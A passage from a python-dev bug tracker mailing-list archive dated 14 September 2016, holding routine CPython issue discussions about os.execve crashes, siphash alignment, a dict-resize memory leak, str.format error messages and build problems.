Are you talking about these lines? Yes, they were confusing me.

if (locale_info->thousands_sep == NULL) {
    Py_DECREF(locale_info->decimal_point);
}

----------
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:53:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 07:53:14 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473839594.22.0.110512193729.issue28114@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: Crash in unicodeobject.c find_maxchar_surrogates on python-3.6.0b1 for Windows -> parse_envlist(): os.execve(), os.spawnve(), etc. crash in Python 3.6.0 when env contains byte strings

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:55:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 07:55:03 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473839703.18.0.977841874511.issue28114@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The issue is not specific to Windows, the following example also crash on Linux:

import os, sys
args = [sys.executable, "-c", "pass"]
os.execve(args[0], args, os.environb)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:58:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 07:58:40 +0000
Subject: [issue26830] Refactor Tools/scripts/google.py
In-Reply-To: <1461346654.96.0.919095766119.issue26830@psf.upfronthosting.co.za>
Message-ID: <20160914075837.22813.29831.FF1FD5F7@psf.io>


Roundup Robot added the comment:

New changeset f8c11b61cfb7 by Berker Peksag in branch 'default':
Issue #26830: Refactor Tools/scripts/google.py
https://hg.python.org/cpython/rev/f8c11b61cfb7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26830>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:59:16 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 07:59:16 +0000
Subject: [issue26830] Refactor Tools/scripts/google.py
In-Reply-To: <1461346654.96.0.919095766119.issue26830@psf.upfronthosting.co.za>
Message-ID: <1473839956.22.0.78915658342.issue26830@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26830>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:03:37 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 08:03:37 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473840217.07.0.404086840155.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

For memoryview this is not possible: It is explicitly unaligned and the feature is used in e.g. NumPy.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:09:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 08:09:53 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1473840593.84.0.105742370529.issue28134@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Martin, the documentation says "If fileno is specified, the other arguments are ignored, causing the socket with the specified file descriptor to return." It's a direct quote from Python 3's socket library documentation. For a non-native speaker like me, this sentence implies that socket.socket(fileno) not only ignores the arguments (which it does not) but that the constructor uses the fileno to set family, type and proto.

The socket module uses self->sock_family in several places to calculate the addr len or when it handles arguments and address information. Just look at this simple example:

>>> import socket
>>> uds = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> s = socket.socket(fileno=uds.fileno())
>>> s.bind('/tmp/sock')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: getsockaddrarg: AF_INET address must be tuple, not str
>>> uds.bind('/tmp/sock')

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:19:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 08:19:13 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473841153.08.0.323024847862.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's totally possible. Benjamin's patch implements it like I have suggested it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:23:38 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 08:23:38 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473841418.65.0.14621521342.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Ah, yes. But compilers optimize memcpy and this is a guaranteed slowdown for the unaligned memoryview case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:25:42 2016
From: report at bugs.python.org (Masayuki Yamamoto)
Date: Wed, 14 Sep 2016 08:25:42 +0000
Subject: [issue27374] Cygwin: Makefile does not install DLL import library
In-Reply-To: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za>
Message-ID: <1473841542.62.0.996664155856.issue27374@psf.upfronthosting.co.za>


Masayuki Yamamoto added the comment:

Hello, Eric.
I tried to build the '_speedups' C extension module of simplejson (third party library) using the python built on cygwin. As you pointed out, the build of '_speedups' C extension module at the stage of the link failed.

build log:
Python3.5.2+ has be used. It has applyed patches to known issues.

$ ./configure --prefix=/opt/py35 --with-threads --with-dbmliborder=gdbm --with-system-ffi --with-system-expat
$ make && make altinstall
$ LANG=C /opt/py35/bin/pip3.5 install simplejson
(snip)
running build_ext
    building 'simplejson._speedups' extension
    creating build/temp.cygwin-2.6.0-i686-3.5
    creating build/temp.cygwin-2.6.0-i686-3.5/simplejson
    gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/opt/py35/include/python3.5m -c simplejson/_speedups.c -o build/temp.cygwin-2.6.0-i686-3.5/simplejson/_speedups.o
    gcc -shared -Wl,--enable-auto-image-base build/temp.cygwin-2.6.0-i686-3.5/simplejson/_speedups.o -L/opt/py35/lib/python3.5/config -L/opt/py35/lib -lpython3.5m -o build/lib.cygwin-2.6.0-i686-3.5/simplejson/_speedups.cpython-35m.dll
    /usr/lib/gcc/i686-pc-cygwin/5.4.0/../../../../i686-pc-cygwin/bin/ld: cannot find -lpython3.5m
    collect2: error: ld returned 1 exit status
    ***************************************************************************
    WARNING: The C extension could not be compiled, speedups are not enabled.
    Failure information, if any, is above.
    I'm retrying the build without the C extension now.
    ***************************************************************************
(snip)

In the log, -L option specified to "/opt/py35/lib/python3.5/config". But, the current python has "/opt/py35/lib/python3.5/config-3.5m" instead of "/opt/py35/lib/python3.5/config". And libpython3.5m.dll.a library exists in the config-3.5m. I think that to succeed building a C extension module if -L options is changed to "/opt/py35/lib/python3.5/config-3.5m". 
I'm going to try to find the place that add -L option at build time.

----------
components: +Extension Modules
nosy: +masamoto
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27374>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:39:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 08:39:28 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473842368.51.0.370749821934.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

How often does NumPy create a C-style, single dimensional, continuous memoryview? I would assume that it deals with matrices, Fortran data and/or other strides, multi-dimensional data in almost all cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:48:10 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 14 Sep 2016 08:48:10 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473842890.55.0.468279044586.issue28114@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Berker, this is basically what I had in my initial patch on the Unix side. I also addressed the Windows issues in parse_envlist and fsconvert_strdup. I'm uploading that patch for reference. It needs a test. I also need to verify that there are no additional problems with the high-level os._execvpe function regarding bytes support on Windows.

----------
Added file: http://bugs.python.org/file44653/issue_28114_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:53:00 2016
From: report at bugs.python.org (Malthe Borch)
Date: Wed, 14 Sep 2016 08:53:00 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
Message-ID: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>


New submission from Malthe Borch:

Many systems today use Python 3 as the default interpreter "python". The Python 2.7 build fails because of syntax incompatibility.

Attached patch fixes this.

----------
components: Build
files: 0001-Allow-make-to-be-run-under-Python-3.patch
keywords: patch
messages: 276401
nosy: malthe
priority: normal
severity: normal
status: open
title: ASDL compatibility with Python 3 system interpreter
type: compile error
versions: Python 2.7
Added file: http://bugs.python.org/file44654/0001-Allow-make-to-be-run-under-Python-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:56:24 2016
From: report at bugs.python.org (Masayuki Yamamoto)
Date: Wed, 14 Sep 2016 08:56:24 +0000
Subject: [issue27374] Cygwin: Makefile does not install DLL import library
In-Reply-To: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za>
Message-ID: <1473843384.83.0.967971605065.issue27374@psf.upfronthosting.co.za>


Masayuki Yamamoto added the comment:

I'm so sorry that I misspelled your name, Erik.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27374>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:58:22 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 08:58:22 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473843502.13.0.69601076729.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Update the patch with unittest.

----------
Added file: http://bugs.python.org/file44655/issue28123_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:39:46 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 09:39:46 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473845986.92.0.856556379173.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Numpy itself internally doesn't. Consumers of numpy arrays use
memoryviews. Numpy is often used as a library these days, even
for simple things like storing a 2-d table, which can easily be
several TB.

It is also easy to generate unaligned data by just taking a slice
of a bytes memoryview.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:40:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 09:40:38 +0000
Subject: [issue28144] Decrease empty_keys_struct's dk_refcnt
Message-ID: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

There is no dummy_struct any more. So I think we can decrease empty_keys_struct's dk_refcnt.

----------
files: empty_keys.patch
keywords: patch
messages: 276405
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: Decrease empty_keys_struct's dk_refcnt
Added file: http://bugs.python.org/file44656/empty_keys.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:42:28 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 09:42:28 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473846148.16.0.931954847543.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

s/unaligned/not 8-byte-aligned/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:43:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 09:43:07 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473846187.01.0.361230315886.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

memoryview() has to create a copy for NumPy memoryviews already.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:50:46 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 09:50:46 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473846646.27.0.0511249404882.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I don't understand this. Could you explain?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:54:06 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 09:54:06 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473846846.02.0.639727257565.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

memory_hash has to convert buffers unless the buffer is a single-dimensional, C-style and contiguous buffer. A NumPy matrix has more than one dimension, so it must be converted.

https://hg.python.org/cpython/file/tip/Objects/memoryobject.c#l2854

        if (!MV_C_CONTIGUOUS(self->flags)) {
            mem = PyMem_Malloc(view->len);
            if (mem == NULL) {
                PyErr_NoMemory();
                return -1;
            }
            if (buffer_to_contiguous(mem, view, 'C') < 0) {
                PyMem_Free(mem);
                return -1;
            }
        }

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:54:07 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 14 Sep 2016 09:54:07 +0000
Subject: [issue28142] windows installer not adding PYTHONHOME
In-Reply-To: <1473835336.65.0.165841373557.issue28142@psf.upfronthosting.co.za>
Message-ID: <1473846847.01.0.805358081763.issue28142@psf.upfronthosting.co.za>


Eryk Sun added the comment:

PYTHONHOME should only be set temporarily for special cases. If running python.exe without PYTHONHOME fails to find the standard library, then your system is misconfigured. For additional help with this problem, ask on either python-list or python-win32.

----------
components: +Windows
nosy: +eryksun, paul.moore, tim.golden
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28142>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:59:52 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Wed, 14 Sep 2016 09:59:52 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <1473847192.07.0.72330506784.issue27441@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:01:53 2016
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 14 Sep 2016 10:01:53 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473847313.49.0.394099287528.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I see. No, most NumPy arrays are C-contiguous. Multi-dimmensional arrays
are contiguous, too.

Non C-contiguous arrays arise mostly during slicing or if they're
Fortran-order to begin with.


But NumPy aside, it's weird to have slice of a huge regular bytes view
(this particular slice is still C-contiguous) that is suddenly copied
because the alignment requirements changed.

I really prefer a simple rule for memoryview: If the data is C-contiguous,
you get the fast path.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:16:17 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 10:16:17 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473848177.94.0.229186454791.issue28055@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I support Stefan. Just requiring 8-byte align is the easiest solution, but it doesn't work with memoryview without expensive memory allocation and copying.

Look at the FNV code. It supports non-4-byte aligned data, and does it in a safe and efficient way.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:18:15 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 10:18:15 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1473848295.84.0.825465945932.issue28143@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:37:18 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 10:37:18 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473849438.13.0.926692598388.issue28126@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Shouldn't the NEWS entity be in the C API section?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:59:51 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Wed, 14 Sep 2016 10:59:51 +0000
Subject: [issue28145] Fix whitespace in C source code
Message-ID: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

I changed most of the tabs in the source code to spaces, and removed trailing whitespace.

I also made some scripts that generate code use spaces and not generate trailing whitespace. (makesetup and makeunicodedata.py)

I fixed a typo in Modules/makesetup (I don't know if I should open another issue, if so please tell me)

I think by changing line Tools/unicode/makeunicodedata.py:1260 to file.write(s.strip() + "\n") the trailing whitespace in unicodename_db.h and unicodedata_db.h would be fixed, but I didn't put that change in the patch because I couldn't test it.

I couldn't find where Parser/asdl_c.py is generating the trailing spaces for Python-ast.h

----------
files: fix_whitespace.patch
keywords: patch
messages: 276414
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Fix whitespace in C source code
versions: Python 3.7
Added file: http://bugs.python.org/file44657/fix_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:12:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 11:12:35 +0000
Subject: [issue28146] Confusing error examples in str.format()
Message-ID: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For example:

>>> '{:04}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: '=' alignment not allowed in string format specifier

There is no any '=' in the format string.

>>> '{: }'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Sign not allowed in string format specifier

There is no any sign ('+' or '-') in the format string.

There also an inconsistency between the wording of "something not allowed in string format specifier" and:

>>> '{:x}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Unknown format code 'x' for object of type 'str'
>>> '{:xx}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Invalid format specifier

----------
components: Interpreter Core, Unicode
messages: 276415
nosy: ezio.melotti, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Confusing error examples in str.format()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28146>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:12:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 11:12:52 +0000
Subject: [issue28146] Confusing error messages in str.format()
In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za>
Message-ID: <1473851572.44.0.369763456795.issue28146@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
title: Confusing error examples in str.format() -> Confusing error messages in str.format()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28146>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:18:12 2016
From: report at bugs.python.org (Torsten Landschoff)
Date: Wed, 14 Sep 2016 11:18:12 +0000
Subject: [issue22543] -W option cannot use non-standard categories
In-Reply-To: <1412285520.72.0.615712160291.issue22543@psf.upfronthosting.co.za>
Message-ID: <1473851892.5.0.00921475920402.issue22543@psf.upfronthosting.co.za>


Torsten Landschoff added the comment:

Wow, this was news to me and I just ran into it in python 2.7. Checked in Python 3 and it's still there:

```
(py3)->torsten.landschoff at horatio:~$ python3 --version
Python 3.6.0a3+
(py3)->torsten.landschoff at horatio:~$ python3 -W error::sqlalchemy.exc.SAWarning -c "print()"
Invalid -W option ignored: invalid module name: 'sqlalchemy.exc'

```

I see no easy way to fix this. One way I thought about is to have hooks for importing of modules (called when a module is put into ``sys.modules``, not sure if there is something like this already) and have the warning system trigger on that.

There is no way to raise an exception before it is imported anyway...

----------
nosy: +torsten

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22543>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:32:11 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 14 Sep 2016 11:32:11 +0000
Subject: [issue28146] Confusing error messages in str.format()
In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za>
Message-ID: <1473852731.3.0.338120698425.issue28146@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

See also issue 27772.

The difference in the error messages is due to the first ones looking for specific invalid combinations (in this case things the string formatter does not understand), and the last one which is "I have no idea what you're asking for".

----------
nosy: +eric.smith
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28146>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:44:13 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 11:44:13 +0000
Subject: [issue28147] Memory leak in dictionary resize
Message-ID: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>


New submission from Min RK:

There is a memory leak in the new dictionary resizing in 3.6, which can cause memory exhaustion in just a few iterations.

I don't fully understand the details of the bug, but it happens when resizing a dict with a split table several times.  The only way that I have found to trigger this is by popping items off of an object's `__dict__` repeatedly.

I've attached a script to illustrate the issue. Be careful with it, because it will eat up all your memory if you don't interrupt it.

----------
components: Interpreter Core
files: test-dict-pop.py
messages: 276418
nosy: minrk
priority: normal
severity: normal
status: open
title: Memory leak in dictionary resize
type: crash
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44658/test-dict-pop.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:47:08 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 11:47:08 +0000
Subject: [issue28147] Memory leak in dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473853628.51.0.306869188294.issue28147@psf.upfronthosting.co.za>


Min RK added the comment:

This patch fixes the memory leak in split-dict resizing.

Each time dict_resize is called, it gets a new, larger size `> minused`. If this is triggered many times, it will keep growing in size by a factor of two each time, as the previous size is passed as minused for the next call.

Set the lower bound at minused (inclusive), rather than exclusive, so that the size does not continue to increase for repeated calls.

A test is added to test_dict.py based on the earlier test script, but if someone has a simpler way to trigger the split-dict resize events, I'd be happy to see it.

----------
keywords: +patch
Added file: http://bugs.python.org/file44659/0001-Avoid-unbounded-growth-in-dict_resize.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:47:41 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 11:47:41 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473853661.59.0.130547849163.issue28147@psf.upfronthosting.co.za>


Changes by Min RK <benjaminrk at gmail.com>:


----------
title: Memory leak in dictionary resize -> Memory leak in new 3.6 dictionary resize

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:15:07 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 12:15:07 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473855307.07.0.769474827739.issue28147@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Can you wrap the test with @support.cpython_only decorator? The patch fixes the memory leak demonstrated in test-dict-pop.py.

----------
nosy: +berker.peksag, haypo, methane
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:35:29 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 12:35:29 +0000
Subject: [issue28148] Also stop using localtime() in timemodule
Message-ID: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>


New submission from Ed Schouten:

In issue 28067, we changed _datetimemodule to stop using localtime() and gmtime(), which is nice. I actually needed such a change for CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) which does not provide the thread-unsafe variants. Only localtime_r() and gmtime_r() are provided.

If we're starting to make use of these functions, let's complete this by also changing timemodule to use them. I've attached a patch.

Maybe it now makes sense to move the Windows wrappers to some header file, so that they can be shared between both modules. What would be the right location for this?

----------
components: Extension Modules
files: patch-no-gmtime-localtime
messages: 276421
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: Also stop using localtime() in timemodule
versions: Python 3.6
Added file: http://bugs.python.org/file44660/patch-no-gmtime-localtime

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:36:47 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 12:36:47 +0000
Subject: =?utf-8?q?=5Bissue28149=5D_Incorrect_indentation_under_=E2=80=9Celse?=
 =?utf-8?b?4oCdIGluIF9ic2RkYi5j?=
Message-ID: <1473856607.19.0.0525868004133.issue28149@psf.upfronthosting.co.za>


New submission from Martin Panter:

Compiling Python 2.7 gives:

/home/proj/python/cpython/Modules/_bsddb.c: In function ?newDBObject?:
/home/proj/python/cpython/Modules/_bsddb.c:936:5: warning: this ?else? clause does not guard... [-Wmisleading-indentation]
     else
     ^~~~
/home/proj/python/cpython/Modules/_bsddb.c:938:9: note: ...this statement, but the latter is misleadingly indented as if it is guarded by the ?else?
         self->moduleFlags.cursorSetReturnsNone = DEFAULT_CURSOR_SET_RETURNS_NONE;
         ^~~~

The code in question was changed a long time ago in revision defa1d825b08:

     if (self->myenvobj)
-        self->getReturnsNone = self->myenvobj->getReturnsNone;
